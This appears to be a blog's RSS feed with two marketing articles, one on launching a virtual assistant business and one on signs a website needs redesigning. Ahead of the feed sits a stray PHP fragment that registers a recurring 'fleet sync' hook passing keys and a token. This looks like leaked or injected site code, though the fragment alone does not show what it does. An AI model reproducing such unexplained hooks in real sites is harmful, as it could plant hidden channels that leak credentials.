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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Miscellaneous Archives - Social Media Dudes https://socialmediadudes.com/category/misc/ Mon, 13 Jul 2020 17:35:02 +0000 en-US hourly 1 https://socialmediadudes.com/wp-content/uploads/2020/02/cropped-Social-Media-Dudes-1-32x32.png Miscellaneous Archives - Social Media Dudes https://socialmediadudes.com/category/misc/ 32 32 Launch and Grow Your Virtual Assistant Business! https://socialmediadudes.com/launch-and-grow-your-virtual-assistant-business/?utm_source=rss&utm_medium=rss&utm_campaign=launch-and-grow-your-virtual-assistant-business Sat, 18 Jul 2020 05:55:00 +0000 https://socialmediadudes.com/?p=893 A virtual assistant is a self-employed worker who provides technical or administrative assistance services for business. Virtual assistants (VA’s) are […]

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]]> A virtual assistant is a self-employed worker who provides technical or administrative assistance services for business. Virtual assistants (VA’s) are everywhere today. They offer cost-effective solutions to help business owners so that they can focus on growing their business.

Due to the fact that online work is to be done, the virtual assistant can work from any place in the world. Thanks to technological improvements such as broadband Internet and document sharing, remote working has become a reality.

What qualities should any virtual assistant have?

Being a good virtual assistant is making your customer’s life easier. In a sense, you are delegated to take charge of the tasks which will be entrusted to you.

You need to give your client the feeling that he can leave you unattended while achieving exceptional results. Here are some of the most appreciated qualities in a virtual assistant:

Reliability

Reliability is a must-have of a virtual assistant. Whatever your qualification or the cost of your work, you will lose customers if they cannot count on you.

Rigor

Rigor is very important. People are human and mistakes can happen. But you should avoid unnecessary errors like typos, and missing deadlines. They make seem like small details, but definitely can be a deal breaker for folks who hire VA’s.

A kind and sympathetic personality

You need to balance business and personal feelings toward your employer as a VA. Having a great relationship with your customer will take you further than you could imagine. Some clients are easier to work with than others.  Try your best to stay optimistic, no matter how the client behaves.

Help develop the client’s business

If you can grow a client’s business and it increases their income, you will have a job forever. The extra income you provide to the client will make you an invaluable member of their team.  And in the end, you will get more business as a result of helping their business grow.

Ensure impeccable follow-up

Stay in charge of each job, even if your client is not. Minor jobs can often fall through the cracks, but it’s your duty not to let that happen.

Work well under pressure

Never let a customer see you sweat. It’s a joke, but it’s true in more ways than you might think. You want every customer to feel that they are your only customer, regardless of your workload.  While it is easier said than done, those that can perform gracefully under pressure are the ones who get more work.  Their clients may not acknowledge it, but they appreciate you making their lives easier.

Can you multi-task?

If you can take on multiple tasks at once, get them done on time and budget, you will always be working.  It takes organization, efficiency, and proper planning, but it’s essential for success as a virtual assistant.

How to launch a virtual assistance business in 6 easy steps

Now it’s time to take action and start your business as a VA. This multi-step process will help you see more clearly to get started.

To create your successful virtual help desk, you will need to go through several steps:

  • Choose your offer
  • Set your prices
  • Find your ideal customers
  • And much more…

I will show you step by step the essential points to get started, be sure to take these 7 steps seriously.

1. What services are you going to provide?

You now know that you can offer hundreds of services as a VA. You can do it all, from writing to sending emails, calendar management, accounting, marketing, social media, etc. Concentrate on the skills you have that you like doing. There is no reason to scatter yourself, especially at the beginning, when you have a lot to learn!

But if you are a 1 person operation, indicating that you specialize in 15-20 areas is a disconnect to potential employers.  Find your niche.  It might be social media, content generation or a variety of tasks.  Find several of them and be really good performing them.  More importantly, be ready to show social proof of your ability when a prospective client asks to see your work.

2. Set your prices

Now that you know what services you are going to offer, you need to set the prices for your services. You have to be competitive without selling yourself off to win customers, but then how do you set the right price?

This is what we will see; you should know that most of the virtual assistant offers fall into four main price categories:

  1. Hourly Rates: Your client pays an hourly rate, and you are paid for the time you work.
  2. Project-based: Your client pays a fixed amount for a one-time project (creating social media accounts, designing a website, etc.)
  3. Hourly rate plan: Your client pays for a specific amount of hours to use over time. Depending on your contract, they may expire after a specified period, for example, 6 months or a year.
  4. Monthly: Your client pays you monthly for a set of tasks or a specific number of hours.

The easiest way to determine the value of your services is to do some research on what other virtual assistants charge.

You can do a search on Google, go to freelance sites, or search on forums, Facebook groups and just ask the question.

Average the rates you find, and you will get a clearer picture of the prices you can charge a company in your area of ​​expertise.

Important: Also take into account the experience you have in your field, you cannot charge the same price if you have 10 years of experience or if you have just trained.

Also, don’t severely underprice your services.  While there is such a thing as “buying the business” when you first get started, when you price much less than the lower end of the range, potential employers tend to think you don’t know what you are doing.

3. Know your ideal client and target market

Once you have determined the services you offer and set your prices, you MUST ABSOLUTELY determine the type of clients you want to work with.

If you don’t take the time to know your ideal client, then you will be unable to target them. By knowing it at your fingertip, you know exactly what it needs. Therefore, you can offer him the perfect service.

Be as specific as possible and try to get into the mind of your ideal client:

  • Are they small business owners?  Start ups?
  • Do you work a specific type of business?  (Legal, construction, etc)
  • What are their points of frustration?
  • What types of services are they likely to need?  (Insurance companies are going to have much different needs than an online marketer for example.)

Ask yourself if the work they do is interesting or if it is an area in which you are comfortable. You should also write down how you can help them and why they should choose you over another VA. This step is essential because it will help you develop your marketing plan afterwards.

5. Create your website and set up a marketing strategy

If you want to work as a VA, then most likely, you will work remotely. It is, therefore, essential for you to have an online presence; the best way to present your services and skills is to have a website.

Think of it as your business card, a website will let your potential customers know if you are the best choice for them. There are simple and affordable solutions to create your professional site, Here at Social Media Dudes, we are huge believers in WordPress. 

Social networks are also an essential part of your business; it can be a good source of traffic for your website.  What platforms are your target employers using?  Are they on Facebook? On Instagram? Or even LinkedIn? Communicate with them to show them that you understand their need.

That is where you should be putting some of your marketing efforts towards.

You don’t have to be everywhere: learn where your ideal customers are and master one or two social media platforms.

6. Network with other virtual assistants

Working from the comfort of home can, from time to time, become an isolated job. You will always need a support group, someone who understands you and can help you with advice, or just someone you can share with from time to time.

Find Facebook blogs and groups that are in your niche. Find a group of individuals who share your goals and work alongside them to build a prosperous business.

Leverage your relationships!  If you are a great content marketer and someone else is fantastic at social media management, perhaps you can work together on projects.  Don’t isolate yourself from other VA’s and profits!

7. Under promise and over deliver

Making your customers happy is the greatest asset of your business.

Once you have found your first customer, do everything you can to provide them with quality service; do not hesitate to always deliver a little more.

A satisfied customer can recommend you to other business they know, and you only need a handful of customers to earn a full-time income as a virtual assistant!

Don’t be afraid to ask for feedback.

Ask your customers if there is anything you can improve and take into account everything they tell you. Use each positive review as a testimonial and ask your best customers if you can use them as references. This will go a long way in helping you get more customers.

Finding Virtual Assistant Jobs Online and Offline

Now that you have determined the services you are going to offer, how much you are going to charge for your services and that you have created a website, it is time to find customers.

Finding customers is often the toughest part for any new business, and you will need to be proactive at the start:

  • Send emails to companies
  • Register on freelance sites (Upwork, Freelancer, etc)
  • Use your family and professional network
  • And much more…

Fortunately, there are a few places where you can find more success than others.

Try freelance websites

It is relatively easy to find virtual assistant positions on websites for freelancers like Upwork, Malt or even offered microservices on sites like Fiverr or 5euros.

This is a good way to get started, but you don’t decide who you want to work with and why.

You accept all requests that reach you; therefore, you compete with other VAs and do not have complete control over your business.

But the best way to find clients and get paid for what you are worth is to identify and contact the clients you want to work with.

Call on your family and friends

Don’t be afraid to ask family or friends directly that you are looking for work, tell them what you are doing exactly and how you can help.

You may be surprised to find out they someone who is looking for help and who can put you in touch.

If it turns out that they know someone who is looking for someone with your skills, they will be happy to help and give your contact.

It is a simple method that is successful because you come through a personal recommendation.

Partner with other freelancers or entrepreneurs

You can join Facebook groups of entrepreneurs and participate in networking events. Partnering with other freelancers is a great way to get a job. There are two means to make it workable:

  • Suggest outsourcing: When they are overworked or looking to outsource certain tasks, you can work for them.
  • Partner with a service provider – Team up to offer a broader range of services than you can offer alone. For example, a copywriter and designer can team up to provide all-in-one sales pages.

It’s a win-win method, you both get to work, and it also expands your network.

Direct prospecting

You now know your ideal client and target market, so you can directly contact the clients you want to work with.

It is one of the best methods to get new customers if you have done the work upstream to find your ideal customer.

It is then easy for you to contact him is to explain the services that you offer by pressing on these points of frustration.

Become a VA and get started working from home

If you want to work from home and be independent, the job of a virtual assistant may be for you. It is a business that you can start without a big investment; you only need a computer and an Internet connection.

Having a website is a plus, but it is not essential to start. With a little networking, you will find that it can be quite easy to find your first customer. I hope you have found this safe guide on how to launch and grow as a virtual assistant useful.

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]]> 10 Tell-tale Signs Your Website Needs Updating or Redesigned! https://socialmediadudes.com/10-tell-tale-signs-your-website-needs-updating-or-redesigned/?utm_source=rss&utm_medium=rss&utm_campaign=10-tell-tale-signs-your-website-needs-updating-or-redesigned Mon, 25 May 2020 12:38:42 +0000 https://socialmediadudes.com/?p=803 [et_pb_section fb_built=”1″ _builder_version=”4.4.3″][et_pb_row _builder_version=”4.4.3″][et_pb_column _builder_version=”4.4.3″ type=”4_4″][et_pb_text _builder_version=”4.4.3″ hover_enabled=”0″] In 2020, people’s lives will be (still) busy, the web will be […]

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]]> [et_pb_section fb_built=”1″ _builder_version=”4.4.3″][et_pb_row _builder_version=”4.4.3″][et_pb_column _builder_version=”4.4.3″ type=”4_4″][et_pb_text _builder_version=”4.4.3″ hover_enabled=”0″]

In 2020, people’s lives will be (still) busy, the web will be browsed on different devices, and the information to be retrieved will be immediately visible to the eye. That is why the design of your website should take into account search engine visibility, intuitive user interface, fast loading time and responsiveness. What exactly your home pages look like is also related to what they are used for.

Even though businesses update their website frequently, whether it’s changing a few photos or graphics, updating their product offering, or redoing their logo, in some cases, a wide-ranging overhaul is required. Obviously, depending on the size of your website and the ambition of your goals, this project can be very substantial.

Unlike a simple website update that requires only a few changes, a complete overhaul involves modifying one or all of the following:

  • The way the information is structured and presented on your site
  •  The general look of several website pages
  •  The CMS that makes your website work
  •  How visitors use your website

Due to the complexity of a redesign, it is often seen as a real burden for small business leaders. It can be expensive and time-consuming. In addition, if your website has an online store and/or other advanced features, it will be difficult to do it yourself if you do not have the technical skills.

How do you know if it’s really time to redesign your website or if an unscrupulous webmaster is trying to sell you services you don’t need?

When should you consider redesigning your website?

Here are a few things that suggest the need to rethink the site and talk about good SEO design. Don’t forget the bounce rate. The design of a functional site will never happen overnight. Modern design takes time, energy and an investment of some money. Like other technologies, the internet is evolving rapidly. Users use different devices to view sites. In order for users to maneuver and work with your website efficiently, you need constant SEO design updates.

Besides, Google constantly changes its algorithms, and the user experience of the site also influences its ranking. In short, you may not notice that your site needs a major overhaul or resdesign.  

Although your site does not need to meet all of the following criteria before considering a redesign, the number of items you check in the list gives you an idea of ​​the urgency of your redesign. Checking an item from the list below constitutes a “worrying” item, checking several means that the overhaul is a necessity, and checking all the items requires an emergency overhaul.

Here are some signs that all point to the need to rethink your site.

  1. It takes more than a couple of seconds to load the site.

Modern technology and fast internet connections have made people used to quick website responses. Visitors tend to leave a website if it does not load very quickly. If a page on your site does not load completely in less than 2 to 3 seconds, you know that it is slow. According to an Akamai survey, 49% of consumers expect a site to load in two seconds or less. Only 51% of people claim to “wait patiently” for a web page to load. In other words, if your site takes more than 2 to 3 seconds to fully load, you can assume that some potential customers are missing you. You run the risk of missing leads and sales.

Manually test the speed of your site by opening and browsing it on mobile devices and desktop computers (remembering to clear the cache otherwise the test is not conclusive). Your website pages should load speedily on all devices. You can also use PageSpeed ​​Insights or Google’s mobile speed test tool to check load speed and find areas for improvement. If you find your website slow, then it’s time to speed it up.

  1. Your social media posts don’t do well.

Social Media has taken the world by storm. Having a great presence of your brand on social media is an essential part of the 21st century business management. To make your brand great, you have to create a large social media presence. When you share your site on social media, the links should look good. The thumbnail of the link has to be attractive. The link title and description should also have a useful copy that gives readers an idea of ​​what you are sharing.

If you share a link from your website on Twitter, LinkedIn or Facebook and you don’t see any presentable thumbnails, titles or descriptions, then it’s time to review your site for an update. On average 30% of your website traffic could come from social media, this figure is significant enough to pay attention to it. Make a good first impression by presenting the pages of your website well.

  1. Some of the content or features are not displayed properly.

If you haven’t visited your own website in a while, you may notice small display issues on your next visit. Your logo and other images may not display properly, interactive features may be faulty, or your content may not display as you expected.

While some of these anomalies can be corrected with a simple update, in other cases it is a symptom of a larger problem. Your site may be running on scripts or other software components that are no longer supported. If the current design of your site is several years old, it may no longer be compatible with new devices or browsers. If you’re not sure what is causing the problem, contact a professional web developer to resolve it and advise you on developing a more modern design probably makes sense.

You’ve probably heard that the hardware is obsolete and it is time to get a new model. Internet technologies are the same. Although you update the site, after a few years, the heart of the site becomes old and obsolete. Do you remember sites from the 90s? Do you recall the link buttons, gray and neon colors and little graphics? Although some of these websites still work, most users do not wish to use these websites.

  1. Your site is problematic to open on mobile.

Check the appearance of your website when loaded on different types of mobile devices, including smartphones and tablets.

  • Is the text of the site legible?
  • Do the images appear correctly?
  • Is it easy to navigate the site on a smaller screen?

If you want additional advice or don’t have a wide variety of mobile devices at your disposal, you can also use the Google Mobile-Friendly test to check your website. Having a mobile-friendly site is very important!  In 2016, mobile devices overtook the desktop as the device that people use the most to browse the web. So, do a real analysis of your own website for users on mobile devices. What fraction of your users come from mobile devices? If it is a significant percentage, it is worth redesigning it taking into account mobile users.

Responsive design has become extremely important. It is now an obligation. It ensures the ranking of your site in search engines. Google and Yahoo will take into account, for example, mobile load times. Thus, if you do not have a site suitable for mobile or it takes too long to load, you may see your search ranking suffer. And your business will hurt as well.

In addition, with Google’s mobile-first indexing, the way your mobile website is created can greatly affect the appearance of your site in search results. You can ask your web agency to develop a site for you or the design for mobiles is designed specifically according to your customer journeys, or you can use ready-made templates for mobiles (be careful to test them beforehand).

  1. Your website does not generate business results.

Does your website bring you sales and leads? Does it benefit you to accomplish your business objectives? If the answer to both questions is “No”, it’s time to consider a redesign that contributes to your business.

If a visitor likes what they see on your site, they may want to know more from you. A good website can be the source for your marketing campaigns. By offering visitors the opportunity to subscribe to your newsletter, you are creating new sales opportunities. Be careful, however: poorly designed email marketing campaigns can leave a negative impression on your customers. If, however, you contact them with interesting emails and offers, you could create many regular and loyal customers.

Just be clear about the data you will use to measure your goals:

  • The number of prospects or sales?
  • Your conversion rate?
  • The abandonment rate of the shopping cart?
  • The increase in the value of each order?
  • Better qualification of your prospects?

By choosing specific key indicators (KPIs), your redesign will have more targeted objectives and you will be able to know if they are working or not.

  1. Visitors leave the site quickly.

For some websites, the customer journey requires that users visit multiple pages or stay on the site for a long time. If you are blogging, you probably want users to read and share your articles. If you have an e-commerce site, you want buyers to browse your product catalogue, choose several of them to fill their basket and continue until the order. If this is the case for your site, users should stay longer than a few seconds.

There are a few measures you can use to determine if users are leaving your site too quickly:

Bounce rate: Simply put, a bounce occurs when a user visits a page on your site and does not visit other pages. Your bounce rate indicates the number of bounces divided by the total sessions on your website. Google Analytics provides more information on bounce rates. Keep in mind that if users leave your site quickly but still reach your business goals, you don’t have to worry about anything.

Pages/Session: This number indicates the average number of pages viewed by visitors in each session on the website. The higher the number, the more pages the average user visits when they visit your site. Google will at all times rank the best quality pages for users to view. According to Google’s algorithms, faster sites are more likely to get higher rankings. A fast website is not only more powerful for Search Engine Optimization, but it also has a progressive impact on users to view more pages. Users usually leave a site when they see a very slow site.

You can test the speed of your site with a variety of tools, such as the PageSpeed ​​Insights tool. If the speed of your site is not properly evaluated in this tool, there is no reason to redesign the site. Most of the time, small alterations can increase the speed of the website. But a low loading speed can be an effective factor in the redesign of the site.

Flow Behavior: This will give you a better idea of ​​how users are browsing your website, especially if the above settings are not as relevant to your needs. For more information on behavioral flow, see Google Analytics help.

  1. Internet users cannot find what they are looking for.

When potential customers visit your site, they should be able to quickly determine what to do. If they are looking for specific information, they can find what they are looking for in a matter of moments. If they try to buy, subscribe or get information, they should be able to do so without outside help. Otherwise, you need a revision to facilitate your navigation.

Are you on a site where you cannot see the main content of the page due to the large volume of pop-ups? By this experience, your user will leave the site immediately. Google penalizes these sites and users leave the site if they cannot find the content. This may be due to poor site navigation, and inaccessible menus and poor access to other parts of the site can be an issue and can increase the bounce rate.

Do you receive a lot of calls, emails or do you have a lot of customer feedback about what information is already on the website and how to access it? If so, it is a sign that visitors are having trouble finding what they need on your website.

  1. Your main competitors have redesigned their websites.

Unless you design websites for a living, it’s not always easy to tell if your website looks outdated. One way to find out is to check the websites of other similar companies in your industry or your competitor’s. Elements of reflection:

  • Have they recently changed their design?
  • Are their designs very different from yours?
  • Note the size of the text, the colors and the graphic styles they use. If they have been recently redesigned and these elements are too different from yours, consider consulting the advice of a professional designer.

Outdated design is not only a question of aesthetics; they are also subtle signals for your audience. The new design lets them know that you have kept pace with the times and that your business is thriving.

SEO and content marketing are vitally important. Indeed, they guarantee you the good quality of the customers who visit your site. By having engaging and informative content targeted by the right keywords, you can be sure: your website will be ahead of your competition. A good way to see if you’re lagging behind is to do a simple Google search for your site. If, for example, you are a web agency in Texas, do a search for “web agency” or “web agencies in Texas”. If you find that some of your competitors are ranked higher than you, it may be time to think about a new content marketing strategy.

Generally speaking, if the current appearance of your website was created over 5 years ago, the design trends have probably changed enough to make your site look outdated.

  1. Your services, products or brand have changed.

It is also possible that your site is no longer representative of your business. Here are some signs that this could be the case:

  • Company photos on your site no longer showcase current staff or facilities (or are archival photos).
  • Your target market has moved to another market since your current design was made.
  • Your best selling products or services have changed.
  • Compared to your site, your printed marketing material is more recent, contains new information or has a different look.

If any of these statements turn out to be correct, you should work with a designer who has some rebranding experience.

  1. Your site is not secure.

Many visitors leave a website immediately if it is not secure. Due to the evolution of modern hacking techniques, website security is now essential to protect your customers’ data. Some websites are particularly vulnerable to attack, such as those running on content management systems (CMS) or e-commerce sites that send or receive payments. In the event of an attack, customer data could be stolen, your website could be taken hostage, or strange content such as advertisements or unwanted links could start appearing on your site.

These types of attacks are costly for small businesses. After an attack, 60% of small businesses are unable to survive for more than six months. Although a redesign will not solve the problem, it is usually an indicator that you need to redo your site from scratch. Otherwise, existing vulnerabilities could still be present.

How often should you redesign your website?

Strictly speaking, there is no hard and fast rule about when an overhaul should take place. It largely depends on your industry, the number of pages on your site, the functional characteristics of your site and your business objectives.

For “showcase” type websites that only have a few pages and no e-commerce functionality, you can do a routine review every six months. But if your site is more advanced – with e-commerce features or a frequently updated blog, or if it receives tens of thousands of visitors per month – then you should consider having a monthly check-up.

In order to conduct a regular review of your website design, this checklist will help you understand if a major change is needed or if you only need a few changes.

Conclusion

Think of your business as your home. If your house is either very old and the roof collapses, no one is going to want to come and visit or worse yes will  away as quickly as possible. Sometimes the house can be repaired with minor modifications, but in many cases, the work is obsolete and needs to be demolished and rebuilt. Of course, it is difficult to go past your old house without some emotion attached to it.  But to attract people, you have to remodel the house.

Having a website is similar to that. Sometimes you don’t know how to fix and update your site (site redesign), and when you look at the site analysis data, you can identify problems and find solutions. Keep your site up to date with internet changes and don’t forget mobile users. Whether your website design is lacking in imagination or your content is not engaging … there are several signs you should take into consideration to make sure your website works exactly as it should.

Today, companies are becoming more and more involved when it comes to optimizing their sites. So, it becomes crucial that yours stands out.

Above all, don’t be afraid to look outside the box and always put yourself in the shoes of the users. Sometimes trying new techniques on the site. Changing the image of the site can be intimidating, but taking the risk can be worth it.

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